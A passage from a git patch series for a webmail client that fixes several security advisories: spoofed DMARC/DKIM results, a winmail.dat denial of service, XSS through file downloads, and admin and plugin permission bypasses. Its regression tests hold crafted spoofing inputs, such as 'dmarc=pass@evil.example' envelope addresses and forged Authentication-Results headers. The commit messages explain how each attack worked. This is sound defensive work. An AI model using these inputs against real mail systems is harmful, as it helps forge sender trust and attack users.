(GHSA-qvr9-m8cq-7wvg, + // GHSA-9mvj-98f5-9q6g). The identity cookies are SameSite=Lax, which a + // same-site sibling origin still receives, so any route that acts with + // them needs an origin check. The state-changing handlers check this + // themselves as well; this layer covers any route added later. + // GET/HEAD/OPTIONS pass through untouched. + if (pathname.startsWith("/api/") && !isOriginGateExempt(pathname) && !isSameOriginRequest(request)) { return NextResponse.json({ error: "Cross-origin request rejected" }, { status: 403 }); } @@ -330,7 +359,7 @@ export async function proxy(request: NextRequest) { // so getLocale() can't resolve the active locale there and falls back to the // default - emitting on e.g. /de pages, which makes browsers // offer to "translate this page". The layout reads x-pathname to recover it. - forwardRequestHeaders(response, request, { "x-nonce": nonce, "x-pathname": pathname }); + forwardRequestHeaders(response, request, { "x-nonce": nonce, "x-pathname": rawPathname }); response.headers.set("X-Content-Type-Options", "nosniff"); From 8f7124c878d70ae0a5f1881fdaed9563bd4ce191 Mon Sep 17 00:00:00 2001 From: Linus Rath <139418639+rathlinus@users.noreply.github.com> Date: Sat, 26 Sep 2026 14:13:33 +0200 Subject: [PATCH 028/358] fix: stop a sender from faking a DMARC or DKIM pass in the security badges The Authentication-Results parser matched `dmarc=` and `dkim=` anywhere in all headers joined together. A sender who used `dmarc=pass@...` as the envelope address got a green DMARC pass for a message that failed, because the server echoes that address in the SPF clause before its real `dmarc=fail`. A sender could also add their own Authentication-Results header to an unsigned message and get a DKIM and DMARC pass. Calendar invites from such a message were shown as trusted. The parser now splits each header on `;` outside quoted strings and comments and reads the method only at the start of a part. DKIM, DMARC and iprev come from the topmost header, which the receiving server wrote; lower headers can only escalate SPF to a failure. --- lib/__tests__/email-headers.test.ts | 60 ++++++++++ lib/email-headers.ts | 166 ++++++++++++++++++++++------ lib/jmap/client.ts | 7 +- 3 files changed, 198 insertions(+), 35 deletions(-) diff --git a/lib/__tests__/email-headers.test.ts b/lib/__tests__/email-headers.test.ts index 874f5e6bd..edf78a8ec 100644 --- a/lib/__tests__/email-headers.test.ts +++ b/lib/__tests__/email-headers.test.ts @@ -333,3 +333,63 @@ describe('extractListHeaders', () => { expect(result.listPost).toBe(''); }); }); + +describe('parseAuthenticationResults - sender-controlled text', () => { + // Stalwart writes dkim (when signed), spf helo, spf mailfrom with the MAIL + // FROM address echoed in a comment and in smtp.mailfrom, iprev, then dmarc. + const stalwart = (mailFrom: string, dmarc: string) => + `mx.victim.example;\r\n\tspf=pass (mx.victim.example: domain of ${mailFrom} designates 203.0.113.9 as permitted sender) smtp.mailfrom=${mailFrom};\r\n\tiprev=pass policy.iprev=203.0.113.9;\r\n\tdmarc=${dmarc} header.from=corp.example policy.dmarc=none`; + + it('reads the honest header', () => { + const result = parseAuthenticationResults([stalwart('bounce@evil.example', 'fail')]); + expect(result.dmarc?.result).toBe('fail'); + expect(result.spf?.domain).toBe('bounce@evil.example'); + expect(result.iprev).toEqual({ result: 'pass', ip: '203.0.113.9' }); + expect(isAuthenticationSpoofed(result)).toBe(true); + }); + + it('ignores a method=result token inside the envelope local part', () => { + const result = parseAuthenticationResults([stalwart('dmarc=pass@evil.example', 'fail')]); + expect(result.dmarc?.result).toBe('fail'); + expect(result.spf?.domain).toBe('dmarc=pass@evil.example'); + expect(isAuthenticationSpoofed(result)).toBe(true); + }); + + it('does not split on a ; inside a quoted local part or a comment', () => { + const header = + 'mx.victim.example; spf=fail (domain of "x; dkim=pass"@evil.example; dmarc=pass) smtp.mailfrom="x; dmarc=pass header.from=corp.example"@evil.example; dmarc=fail header.from=corp.example'; + const result = parseAuthenticationResults(header); + expect(result.dkim).toBeUndefined(); + expect(result.dmarc?.result).toBe('fail'); + expect(result.spf?.result).toBe('fail'); + }); + + it('takes DKIM and DMARC only from the topmost (receiving server) header', () => { + const result = parseAuthenticationResults([ + stalwart('bounce@evil.example', 'none'), + 'forged.example; dkim=pass header.d=corp.example header.s=s1; dmarc=pass header.from=corp.example', + ]); + expect(result.dkim).toBeUndefined(); + expect(result.dmarc?.result).toBe('none'); + }); + + it('lets a lower header escalate SPF to a failure but never to a pass', () => { + const escalated = parseAuthenticationResults([ + 'mx.victim.example; spf=pass smtp.mailfrom=corp.example', + 'relay.example; spf=fail smtp.mailfrom=corp.example', + ]); + expect(escalated.spf?.result).toBe('fail'); + + const notUpgraded = parseAuthenticationResults([ + 'mx.victim.example; spf=softfail smtp.mailfrom=corp.example', + 'forged.example; spf=pass smtp.mailfrom=corp.example', + ]); + expect(notUpgraded.spf?.result).toBe('softfail'); + expect(notUpgraded.spf?.all).toBeUndefined(); + }); + + it('keeps the most severe DMARC verdict within one header', () => { + const result = parseAuthenticationResults('mx.example; dmarc=pass header.from=a.example; dmarc=fail header.from=a.example'); + expect(result.dmarc?.result).toBe('fail'); + }); +}); diff --git a/lib/email-headers.ts b/lib/email-headers.ts index 505046ff1..2128e6336 100644 --- a/lib/email-headers.ts +++ b/lib/email-headers.ts @@ -37,11 +37,107 @@ export function isAuthenticationSpoofed(auth?: AuthenticationResults): boolean { return false; } +interface ResInfo { + method: string; + result: string; + props: Record; +} + /** - * Parse Authentication-Results header to extract SPF, DKIM, DMARC results + * Split one Authentication-Results header into its `;`-separated parts + * (RFC 8601), dropping comments. A `;` inside a quoted string or a comment + * does not split: both can carry sender-chosen text such as the envelope + * address. */ -export function parseAuthenticationResults(header: string): AuthenticationResults { +function splitResinfo(header: string): string[] { + const parts: string[] = []; + let current = ''; + let depth = 0; + let quoted = false; + for (let i = 0; i < header.length; i++) { + const c = header[i]; + if (c === '\\' && (quoted || depth > 0)) { + if (depth === 0) current += c + (header[i + 1] ?? ''); + i++; + continue; + } + if (quoted) { + current += c; + if (c === '"') quoted = false; + continue; + } + if (c === '(') { + depth++; + continue; + } + if (depth > 0) { + if (c === ')' && --depth === 0) current += ' '; + continue; + } + if (c === '"') quoted = true; + if (c === ';') { + parts.push(current); + current = ''; + continue; + } + current += c; + } + parts.push(current); + return parts.map((part) => part.trim()).filter(Boolean); +} + +const METHOD_RE = /^([a-z0-9][a-z0-9_-]*)(?:\/\d+)?\s*=\s*([a-z]+)(?=\s|$)/i; +const PROP_RE = /\s*([^\s=]+)\s*=\s*("(?:[^"\\]|\\.)*"|\S*)/y; + +/** + * Read one resinfo: the method must open the part, so a `dmarc=pass` that + * appears inside a property value (say an envelope local part in + * `smtp.mailfrom=`) is never taken for a result. + */ +function parseResinfo(part: string): ResInfo | null { + const match = METHOD_RE.exec(part); + if (!match) return null; + const props: Record = {}; + const rest = part.slice(match[0].length); + PROP_RE.lastIndex = 0; + let prop: RegExpExecArray | null; + while ((prop = PROP_RE.exec(rest)) !== null && prop[0].length > 0) { + const key = prop[1].toLowerCase(); + let value = prop[2]; + if (value.startsWith('"')) value = value.slice(1, -1).replace(/\\(.)/g, '$1'); + if (!(key in props)) props[key] = value; + } + return { method: match[1].toLowerCase(), result: match[2].toLowerCase(), props }; +} + +function parseResinfos(header: string): ResInfo[] { + return splitResinfo(header) + .map(parseResinfo) + .filter((info): info is ResInfo => info !== null); +} + +const DMARC_SEVERITY: Record = { + fail: 3, + permerror: 2, + temperror: 2, + none: 1, + pass: 0, +}; + +/** + * Parse Authentication-Results headers into SPF, DKIM, DMARC results. + * + * Pass the headers in message order. The topmost one is the receiving + * server's own; anything below it may have been written by the sender, so + * DKIM, DMARC and iprev come from the topmost header only, and the others + * can only escalate SPF to a failure, never supply a pass. + */ +export function parseAuthenticationResults(headers: string | readonly string[]): AuthenticationResults { const results: AuthenticationResults = {}; + const list = typeof headers === 'string' ? [headers] : headers; + const perHeader = list.map(parseResinfos); + const own = perHeader[0] ?? []; + const foreign = perHeader.slice(1).flat(); type DkimResult = 'pass' | 'fail' | 'policy' | 'neutral' | 'temperror' | 'permerror'; type DmarcResult = 'pass' | 'fail' | 'none'; @@ -51,23 +147,27 @@ export function parseAuthenticationResults(header: string): AuthenticationResult // SPF result when the server evaluates multiple identities (HELO and MAIL // FROM). Collect them all so a hard fail on any identity isn't softened to // an ambiguous state recorded for another one. - const spfRegex = /spf=(\w+)(?:\s+\([^)]*\))?(?:\s+smtp\.(mailfrom|helo)=([^\s;]+))?/g; - const spfResults: SpfEntry[] = []; - let spfM: RegExpExecArray | null; - while ((spfM = spfRegex.exec(header)) !== null) { - spfResults.push({ - result: spfM[1] as SpfResult, - identity: spfM[2] as SpfEntry['identity'], - domain: spfM[3], - }); - } + const severity = (r: string) => SPF_SEVERITY[r as SpfResult] ?? -1; + const isFailure = (r: string) => severity(r) >= SPF_SEVERITY.temperror; + const toSpfEntry = (info: ResInfo): SpfEntry => { + const identity = info.props['smtp.mailfrom'] !== undefined + ? 'mailfrom' + : info.props['smtp.helo'] !== undefined ? 'helo' : undefined; + return { + result: info.result as SpfResult, + identity: identity as SpfEntry['identity'], + domain: identity ? info.props[`smtp.${identity}`] || undefined : undefined, + }; + }; + const spfResults: SpfEntry[] = [ + ...own.filter((info) => info.method === 'spf').map(toSpfEntry), + ...foreign.filter((info) => info.method === 'spf').map(toSpfEntry).filter((e) => isFailure(e.result)), + ]; if (spfResults.length > 0) { - const severity = (r: string) => SPF_SEVERITY[r as SpfResult] ?? -1; // MAIL FROM is the primary SPF identity. Another identity (HELO) may only // escalate the headline to a genuine failure state — a HELO `none` or // `neutral` must not downgrade a MAIL FROM `pass`, since most senders // publish no SPF record for their EHLO hostname. - const isFailure = (r: string) => severity(r) >= SPF_SEVERITY.temperror; let primary = spfResults.find((e) => e.identity === 'mailfrom') ?? spfResults[0]; for (const cur of spfResults) { @@ -82,32 +182,36 @@ export function parseAuthenticationResults(header: string): AuthenticationResult }; } - // Parse DKIM - const dkimMatch = header.match(/dkim=(\w+)(?:\s+header\.d=([^\s]+))?(?:\s+header\.s=([^\s]+))?/); - if (dkimMatch) { + const dkim = own.find((info) => info.method === 'dkim'); + if (dkim) { results.dkim = { - result: dkimMatch[1] as DkimResult, - domain: dkimMatch[2], - selector: dkimMatch[3] + result: dkim.result as DkimResult, + domain: dkim.props['header.d'], + selector: dkim.props['header.s'], }; } - // Parse DMARC - const dmarcMatch = header.match(/dmarc=(\w+)(?:\s+header\.from=([^\s]+))?(?:\s+policy\.dmarc=(\w+))?/); - if (dmarcMatch) { + // One DMARC verdict per message; should a header carry several, the most + // severe stands. + const dmarc = own + .filter((info) => info.method === 'dmarc') + .reduce( + (worst, info) => (!worst || (DMARC_SEVERITY[info.result] ?? -1) > (DMARC_SEVERITY[worst.result] ?? -1) ? info : worst), + undefined, + ); + if (dmarc) { results.dmarc = { - result: dmarcMatch[1] as DmarcResult, - domain: dmarcMatch[2], - policy: dmarcMatch[3] as DmarcPolicy | undefined + result: dmarc.result as DmarcResult, + domain: dmarc.props['header.from'], + policy: dmarc.props['policy.dmarc'] as DmarcPolicy | undefined, }; } - // Parse IP reverse lookup - const iprevMatch = header.match(/iprev=(\w+)(?:\s+policy\.iprev=([\d.]+))?/); - if (iprevMatch) { + const iprev = own.find((info) => info.method === 'iprev'); + if (iprev) { results.iprev = { - result: iprevMatch[1] as 'pass' | 'fail', - ip: iprevMatch[2] + result: iprev.result as 'pass' | 'fail', + ip: iprev.props['policy.iprev'], }; } diff --git a/lib/jmap/client.ts b/lib/jmap/client.ts index bb9f975b1..35d5e70cf 100644 --- a/lib/jmap/client.ts +++ b/lib/jmap/client.ts @@ -2261,10 +2261,9 @@ export class JMAPClient implements IJMAPClient { const authResultsHeader = headersRecord['Authentication-Results']; if (authResultsHeader) { - // Multiple Authentication-Results headers (or multiple SPF identities in - // one header) must all be considered so the most severe result wins. - const value = Array.isArray(authResultsHeader) ? authResultsHeader.join('; ') : authResultsHeader; - email.authenticationResults = parseAuthenticationResults(value); + // Keep the headers apart and in message order: the topmost one is the + // receiving server's own, the rest may be forged by the sender. + email.authenticationResults = parseAuthenticationResults(authResultsHeader); } for (const headerName of ['X-Spam-Score', 'X-Spam-Status', 'X-Spam-Result', 'X-Rspamd-Score']) { From 012fe6edad13d2bf776cf5d28688f7f59951074b Mon Sep 17 00:00:00 2001 From: Linus Rath <139418639+rathlinus@users.noreply.github.com> Date: Sat, 26 Sep 2026 14:15:10 +0200 Subject: [PATCH 029/358] fix: stop a crafted winmail.dat from freezing the tab A MAPI property in a TNEF attachment declares how many values follow. The parser looped that many times even when a value could not be read and nothing was consumed, so a 31-byte winmail.dat claiming 0xFFFFFFFF values froze the tab for about 13 seconds on every open, longer with more such properties. The count is now clamped to what the block can hold and the loop stops as soon as a value consumes no bytes. --- lib/__tests__/tnef.test.ts | Bin 4311 -> 5135 bytes lib/tnef.ts | 21 ++++++++++++++++++--- 2 files changed, 18 insertions(+), 3 deletions(-) diff --git a/lib/__tests__/tnef.test.ts b/lib/__tests__/tnef.test.ts index a3e64c453665e7e2acacb7561627bac62260ea0e..67cfc7f7ab5f5c6ad9e5f8daff612407cd2efa0e 100644 GIT binary patch delta 568 zcmZuu&5Bbo6b5%4aCYuL7t(~eljgP{jza}qI20TaEx0IE(%Vz-WzwYF`c6V;h>| z&G_}`<;A0J2EER8PSfmvQ;oZFzI9ksYsSRQiVlFYvjmt*(XA;qwF@v2-W7y}uVJ=$ z5U{HKit4yQVNJEH+y~Zreh4HVf$7A1Yi4A#G(KhtiQyA`Om=!b406mik-}qUCtN;# zHA;hMOCRW#1%+>1gb7z6srTOvw*7-Z#uaOQOY>iZvkhYFZ%GkLwry%c^d6z~b>tgL zZ|9(Ea(hjcfQ5G4>F!4-`#bCX?#c6`Kg@(^*zOR#W8V4F@bVS^me_s2 f+duiYC~=AekSh9T^nyYdm&S=)>(BR&zufr=TpqOt delta 12 TcmeCzxURS%jc@Zj!9pegA+rRj diff --git a/lib/tnef.ts b/lib/tnef.ts index f154048a5..a620fd17a 100644 --- a/lib/tnef.ts +++ b/lib/tnef.ts @@ -165,6 +165,15 @@ function decodeMAPIString(data: Uint8Array, propType: number): string { return new TextDecoder('utf-8').decode(data.subarray(0, len)); } +/** + * Read a multi-value count. Every value takes at least four bytes, so a count + * larger than what is left of the block is a lie; clamp it rather than loop + * up to 2^32 times on the UI thread. + */ +function readValueCount(r: BinaryReader): number { + return Math.min(r.readUint32LE(), Math.floor(r.remaining / 4)); +} + /** Parse MAPI properties from a raw attribute data block */ function parseMAPIProps(data: Uint8Array): Map { const props = new Map(); @@ -200,19 +209,25 @@ function parseMAPIProps(data: Uint8Array): Map 0; j++) { - lastValue = readMAPIVarValue(r); + const value = readMAPIVarValue(r); + // A truncated value consumes nothing; retrying it would spin on the + // same bytes for as many rounds as the sender's count asks for. + if (value === null) break; + lastValue = value; } if (!isMultiValue && lastValue) { props.set(propID, { type: propType, value: lastValue }); } } else if (isMultiValue) { if (r.remaining < 4) break; - const valueCount = r.readUint32LE(); + const valueCount = readValueCount(r); for (let j = 0; j < valueCount && r.remaining > 0; j++) { + const before = r.remaining; readMAPIFixedValue(r, baseType); + if (r.remaining >= before) break; } } else { const value = readMAPIFixedValue(r, baseType); From dd796d7325ff77b3dd1da4ddd44a317e4400da77 Mon Sep 17 00:00:00 2001 From: Linus Rath <139418639+rathlinus@users.noreply.github.com> Date: Sat, 26 Sep 2026 14:16:42 +0200 Subject: [PATCH 030/358] fix: serve WOPI file downloads as inert attachments GetFile answered on the webmail origin with the Content-Type stored in the WOPI token, which for a mail attachment comes straight from the launch request and for a Files node is a user-settable property. No CSP, nosniff or disposition was added, since `/api/*` skips the proxy. A user could mint a token for their own blob typed `text/html` and have a victim open the GetFile URL, running script in the webmail origin. GetFile now always sends `application/octet-stream` with `Content-Disposition: attachment`, `nosniff` and a sandboxing CSP, and refuses browser loads (any `Sec-Fetch-Dest` other than `empty`). The editor fetches it server-to-server, so it is unaffected. --- app/api/wopi/files/[fileId]/contents/route.ts | 25 +++++++++++++++++-- lib/__tests__/wopi-attachment-routes.test.ts | 24 +++++++++++++++--- 2 files changed, 44 insertions(+), 5 deletions(-) diff --git a/app/api/wopi/files/[fileId]/contents/route.ts b/app/api/wopi/files/[fileId]/contents/route.ts index 99e0b65ee..db8524005 100644 --- a/app/api/wopi/files/[fileId]/contents/route.ts +++ b/app/api/wopi/files/[fileId]/contents/route.ts @@ -10,11 +10,33 @@ import { wopiContext } from '@/lib/wopi/request'; * points the FileNode at it via `FileNode/set { blobId }`. */ +/** + * GetFile answers on the webmail origin, and the type of the bytes comes + * from the launch request or a user-settable FileNode property. Served + * inline as `text/html` or `image/svg+xml` it would run script as the + * webmail, so the response is always an inert download whatever the + * source claims to be. + */ +const GET_FILE_HEADERS: Record = { + 'Content-Type': 'application/octet-stream', + 'Content-Disposition': 'attachment', + 'X-Content-Type-Options': 'nosniff', + 'Content-Security-Policy': "default-src 'none'; sandbox", + 'Cache-Control': 'no-store', +}; + /** GET = GetFile */ export async function GET( request: NextRequest, { params }: { params: Promise<{ fileId: string }> }, ) { + // The editor fetches this server-to-server and sends no Sec-Fetch headers. + // A browser navigating to it, or loading it as a script or style, is not + // the editor. + const dest = request.headers.get('sec-fetch-dest'); + if (dest !== null && dest !== 'empty') { + return NextResponse.json({ error: 'Forbidden' }, { status: 403 }); + } try { const { fileId: documentId } = await params; const auth = await wopiContext(request, documentId); @@ -41,8 +63,7 @@ export async function GET( return NextResponse.json({ error: 'Blob download failed' }, { status: 502 }); } - const headers = new Headers(); - headers.set('Content-Type', source.type || 'application/octet-stream'); + const headers = new Headers(GET_FILE_HEADERS); const contentLength = upstream.headers.get('Content-Length'); if (contentLength) headers.set('Content-Length', contentLength); return new NextResponse(upstream.body, { status: 200, headers }); diff --git a/lib/__tests__/wopi-attachment-routes.test.ts b/lib/__tests__/wopi-attachment-routes.test.ts index dde76feec..4fb17646a 100644 --- a/lib/__tests__/wopi-attachment-routes.test.ts +++ b/lib/__tests__/wopi-attachment-routes.test.ts @@ -126,8 +126,8 @@ describe('WOPI attachment launch', () => { }); describe('WOPI calls for an attachment token', () => { - async function launched() { - const { data } = await launchAttachment({ blobId: 'Gblob1', name: 'Quote.docx', type: DOCX, size: 999 }); + async function launched(overrides: Record = {}) { + const { data } = await launchAttachment({ blobId: 'Gblob1', name: 'Quote.docx', type: DOCX, size: 999, ...overrides }); (fetchJmapServer as Mock).mockClear(); return editorCall(data); } @@ -152,11 +152,29 @@ describe('WOPI calls for an attachment token', () => { const { documentId, token } = await launched(); const res = await getFile(request(`/api/wopi/files/${documentId}/contents?${token}`), params(documentId)); expect(res.status).toBe(200); - expect(res.headers.get('Content-Type')).toBe(DOCX); expect(await res.text()).toBe('DOCX-BYTES'); expect((fetchJmapServer as Mock).mock.calls[0][0]).toContain('/jmap/download/c/Gblob1/Quote.docx'); }); + it('GetFile serves the bytes as an inert download whatever type the launch claimed', async () => { + const { documentId, token } = await launched({ type: 'text/html' }); + const res = await getFile(request(`/api/wopi/files/${documentId}/contents?${token}`), params(documentId)); + expect(res.status).toBe(200); + expect(res.headers.get('Content-Type')).toBe('application/octet-stream'); + expect(res.headers.get('Content-Disposition')).toBe('attachment'); + expect(res.headers.get('X-Content-Type-Options')).toBe('nosniff'); + expect(res.headers.get('Content-Security-Policy')).toBe("default-src 'none'; sandbox"); + }); + + it.each(['document', 'iframe', 'script'])('GetFile refuses a browser load as %s', async (dest) => { + const { documentId, token } = await launched(); + const res = await getFile( + request(`/api/wopi/files/${documentId}/contents?${token}`, { headers: { 'sec-fetch-dest': dest } }), + params(documentId), + ); + expect(res.status).toBe(403); + }); + it('PutFile is refused', async () => { const { documentId, token } = await launched(); const res = await putFile( From 76154187fad6b4eb35906b247a59f55cb7327b10 Mon Sep 17 00:00:00 2001 From: Linus Rath <139418639+rathlinus@users.noreply.github.com> Date: Sat, 26 Sep 2026 14:18:48 +0200 Subject: [PATCH 031/358] fix: only let a Stalwart superuser into the admin dashboard, not a tenant admin (GHSA-v6hr-cmxm-pv73) The Stalwart admin check probed `x:Account/query`. Stalwart's default tenant-admin role carries `sysAccount*`, so an administrator of a single tenant passed and, in the default `auto` mode, was signed into the Bulwark dashboard, which configures the whole instance for every tenant. The `auto|password|off` switch added for #870 left the default at `auto`, so the advisory never held on a default install. The probe is now `x:Tenant/query`, which needs `sysTenantQuery`: by default only the server-wide superuser holds it. --- app/api/admin/auth/route.ts | Bin 11371 -> 11589 bytes .../admin-auth-stalwart-access.test.ts | 30 ++++++++++++++++-- 2 files changed, 27 insertions(+), 3 deletions(-) diff --git a/app/api/admin/auth/route.ts b/app/api/admin/auth/route.ts index 537d9e8880005a876748d2572a64f9a164223937..9b9d8f01abc727bc762d3f9b402e69923567aff8 100644 GIT binary patch delta 501 zcmYLGF^&{55ERl~f`mxW#zn;LY46Agj%Z0BMYjPWnqIr-#=>jQb$f1@Xg|S2knRnH zyo68C<5}q>2UeG>s;m6(+n?{h-(H;doG6v|4+G28K=@$@!iq*GU7)WO*<$R1>u^^n zjwI!s!gEVQERY;oU%kW??!}}~GD^o#mPeNBF?hQVJ<#y%-65YyJX}s~ zxF2R;V^*oLGgXA7g_7efD0zGuX6qm5NRhIg5^_RrQECR=LbE*t`D3W_oEEVK$8pdy zv(S_3Et;RVJ9lz*cJ(Db@Y)O`wb{+u8UF9kwwvFIr}bt=59MH*E--x zB%Ev9x$1G%RQ~$&m%H8d<0D3F9Lly-X~ zs%{U79Kp=jm5I6<(zBzJ(Hd2 ({ }), })); -// A Stalwart that says "yes, this account is an admin". -const fetchMock = vi.fn(async (url: string) => { +// A Stalwart where this account is the server-wide superuser: it may list +// tenants. A tenant admin may list accounts but not tenants. +const role = { current: 'superuser' as 'superuser' | 'tenant-admin' }; +const fetchMock = vi.fn(async (url: string, init?: { body?: string }) => { if (url.endsWith('/.well-known/jmap')) { return { ok: true, json: async () => ({ primaryAccounts: { 'urn:stalwart:jmap': 'a' } }), }; } + const [method] = JSON.parse(init?.body ?? '{}').methodCalls[0]; + const allowed = method === 'x:Account/query' || role.current === 'superuser'; return { ok: true, - json: async () => ({ methodResponses: [['x:Account/query', { ids: [] }, '0']] }), + json: async () => ({ + methodResponses: [allowed + ? [method, { ids: [] }, '0'] + : ['error', { type: 'forbidden', description: 'You are not authorized to perform this action' }, '0']], + }), }; }); @@ -109,6 +117,7 @@ describe('admin auth route - stalwartAdminAccess modes (#870)', () => { state.config = {}; state.adminPasswordConfigured = false; state.hasAdminSession = false; + role.current = 'superuser'; vi.stubGlobal('fetch', fetchMock); }); @@ -128,6 +137,21 @@ describe('admin auth route - stalwartAdminAccess modes (#870)', () => { }); }); + describe('tenant admin (GHSA-v6hr)', () => { + beforeEach(() => { + role.current = 'tenant-admin'; + }); + + it('is not a Stalwart admin for the dashboard, even in auto mode', async () => { + const { body } = await callGet(); + expect(body).toMatchObject({ stalwartAdmin: false, stalwartAutoLogin: false }); + + const login = await callPost({ stalwartAuth: true }); + expect(login.status).toBe(403); + expect(setAdminSessionCookie).not.toHaveBeenCalled(); + }); + }); + describe('password', () => { beforeEach(() => { state.config.stalwartAdminAccess = 'password'; From 1f19796cc2d4a572e8fdb95e782936152b47c894 Mon Sep 17 00:00:00 2001 From: Linus Rath <139418639+rathlinus@users.noreply.github.com> Date: Sat, 26 Sep 2026 14:20:36 +0200 Subject: [PATCH 032/358] fix: ignore admin status from a server the admin never configured (GHSA-j867-89p4-v8hm) The Stalwart admin check only bailed while `allowCustomJmapEndpoint` was on. A context cookie minted while it was on keeps naming the user-chosen server, and the envelope has no expiry, so after the admin turned the switch off that server could still answer the admin probe and mint a Bulwark admin session. The check now also requires the cookie's server to be an admin-configured one. --- app/api/admin/auth/route.ts | Bin 11589 -> 11832 bytes .../admin-auth-stalwart-access.test.ts | 16 ++++++++++++++++ 2 files changed, 16 insertions(+) diff --git a/app/api/admin/auth/route.ts b/app/api/admin/auth/route.ts index 9b9d8f01abc727bc762d3f9b402e69923567aff8..94101f6698dcf7f8ecc6fdb0196951028ed704a4 100644 GIT binary patch delta 240 zcmY+8I}XA?3`ARm;0{9t1xijp!3C(O5Y4jdB&&oNtqp;SD8v)nj)Z+Q8OFnR zSXae{;E$rb2eskAb`^A#`drjR2SMx1Q^FdpnbL_8qM~#1pH*<0Ll{o#50m?Ss~KIe bkT2CSQOJ6NSYS5srX ({ auditLog: (...args: unknown[]) => auditLog(...args), })); +const creds = { trusted: true }; vi.mock('@/lib/stalwart/credentials', () => ({ getStalwartCredentials: async () => ({ serverUrl: 'https://mail.example.com', authHeader: 'Bearer token', username: 'admin@example.com', + trusted: creds.trusted, }), })); @@ -118,6 +120,7 @@ describe('admin auth route - stalwartAdminAccess modes (#870)', () => { state.adminPasswordConfigured = false; state.hasAdminSession = false; role.current = 'superuser'; + creds.trusted = true; vi.stubGlobal('fetch', fetchMock); }); @@ -152,6 +155,19 @@ describe('admin auth route - stalwartAdminAccess modes (#870)', () => { }); }); + it('never asks a server the admin did not configure', async () => { + // A context cookie minted while allowCustomJmapEndpoint was on still + // names the user-chosen server after the switch is turned off. + creds.trusted = false; + const { body } = await callGet(); + expect(body).toMatchObject({ stalwartAdmin: false, stalwartAutoLogin: false }); + + const login = await callPost({ stalwartAuth: true }); + expect(login.status).toBe(403); + expect(setAdminSessionCookie).not.toHaveBeenCalled(); + expect(fetchMock).not.toHaveBeenCalled(); + }); + describe('password', () => { beforeEach(() => { state.config.stalwartAdminAccess = 'password'; From f98779b0d0dca21c66c5d30222eaf800d30a1cd0 Mon Sep 17 00:00:00 2001 From: Linus Rath <139418639+rathlinus@users.noreply.github.com> Date: Sat, 26 Sep 2026 14:26:33 +0200 Subject: [PATCH 033/358] fix: require manifest permissions for plugin hooks and slots Only the host API methods checked a plugin's permissions. Every hook and slot the sandbox reported was wired as-is, so a plugin declaring no permissions could rewrite recipients and body of every outgoing mail through `onTransformOutgoingEmail`, replace displayed bodies through `onRenderEmailBody`, or read all fetched mail through `onEmailsFetched`. Admin-installed plugins are managed, so users never saw a consent prompt for any of it. Each hook and slot now maps to a permission in `lib/plugin-sandbox/permissions.ts`, checked the same way as API calls (declared, and managed or granted). Hooks that change what is sent need `email:send`, display takeovers need `email:render-takeover`, and a hook or slot missing from the table is refused. Logout and account switches stay implicit so plugins can always drop per-account state. --- lib/__tests__/plugin-hook-permissions.test.ts | 126 ++++++++ lib/plugin-sandbox/host-api.ts | 14 +- lib/plugin-sandbox/loader.ts | 15 +- lib/plugin-sandbox/permissions.ts | 296 ++++++++++++++++++ 4 files changed, 438 insertions(+), 13 deletions(-) create mode 100644 lib/__tests__/plugin-hook-permissions.test.ts create mode 100644 lib/plugin-sandbox/permissions.ts diff --git a/lib/__tests__/plugin-hook-permissions.test.ts b/lib/__tests__/plugin-hook-permissions.test.ts new file mode 100644 index 000000000..35d937749 --- /dev/null +++ b/lib/__tests__/plugin-hook-permissions.test.ts @@ -0,0 +1,126 @@ +import { describe, it, expect, beforeEach, afterEach, vi } from 'vitest'; +import { createHash } from 'node:crypto'; +import type { InstalledPlugin, Permission } from '../plugin-types'; + +// Hooks and slots used to be wired for whatever the sandbox reported, with +// no look at the manifest: a plugin declaring no permissions could add a +// Bcc to every outgoing mail through onTransformOutgoingEmail and read every +// opened message through onRenderEmailBody. + +const mocks = vi.hoisted(() => ({ + background: { hooks: [] as string[], slots: [] as Array<{ name: string }> }, +})); + +const CODE = 'export default { activate() {} }'; +const HASH = createHash('sha256').update(CODE, 'utf-8').digest('hex'); + +vi.mock('../plugin-storage', () => ({ + pluginStorage: { getCode: async () => CODE, saveCode: async () => {}, deleteCode: vi.fn() }, +})); +vi.mock('../plugin-sandbox/bundle-fetch', () => ({ downloadManagedBundle: vi.fn() })); +vi.mock('../plugin-sandbox/host-bridge', () => ({ + createBackgroundInstance: () => ({ + initPromise: Promise.resolve({ hooks: mocks.background.hooks, slots: mocks.background.slots, shortcuts: [] }), + invokeHook: vi.fn(async () => ({ to: ['a@example.org'], bcc: ['attacker@evil.example'] })), + destroy: vi.fn(), + }), + SandboxInstance: class {}, +})); +vi.mock('../plugin-sandbox/host-api', () => ({ cancelPluginDialogs: vi.fn() })); +vi.mock('../plugin-sandbox/shortcuts', () => ({ registerShortcuts: () => () => {} })); + +import { loadSandboxedPlugin, unloadSandboxedPlugin, setSandboxStoreAccessor } from '../plugin-sandbox/loader'; +import { get as getActive } from '../plugin-sandbox/registry'; +import { emailHooks, renderHooks, appLifecycleHooks } from '../plugin-hooks'; +import { hookPermission, mayOfferSlot, mayRegisterHook, pluginHasPermission } from '../plugin-sandbox/permissions'; + +function plugin(overrides: Partial = {}): InstalledPlugin { + return { + id: 'hook-plugin', + name: 'Hook plugin', + version: '1.0.0', + author: 'someone', + description: '', + type: 'hook', + permissions: [], + entrypoint: 'index.js', + enabled: true, + status: 'enabled', + settings: {}, + managed: true, + adminApproved: true, + bundleHash: HASH, + ...overrides, + }; +} + +beforeEach(() => { + setSandboxStoreAccessor({ setPluginStatus: () => {} }); + mocks.background.hooks = ['onTransformOutgoingEmail', 'onRenderEmailBody', 'onAppReady']; + mocks.background.slots = [{ name: 'email-banner' }, { name: 'plugin-dialog' }]; + vi.spyOn(console, 'warn').mockImplementation(() => {}); + vi.spyOn(console, 'info').mockImplementation(() => {}); +}); + +afterEach(() => { + unloadSandboxedPlugin('hook-plugin'); + vi.restoreAllMocks(); +}); + +describe('sandboxed plugin hooks and slots', () => { + it('a zero-permission plugin cannot rewrite outgoing mail or read opened messages', async () => { + await loadSandboxedPlugin(plugin()); + + expect(emailHooks.onTransformOutgoingEmail.size).toBe(0); + expect(renderHooks.onRenderEmailBody.size).toBe(0); + const outgoing = await emailHooks.onTransformOutgoingEmail.transform({ to: ['a@example.org'], bcc: [] }); + expect(outgoing).toEqual({ to: ['a@example.org'], bcc: [] }); + + // Implicit permissions still work. + expect(appLifecycleHooks.onAppReady.size).toBe(1); + expect(getActive('hook-plugin')?.slotOffers.map((o) => o.name)).toEqual(['plugin-dialog']); + }); + + it('wires the hooks and slots a 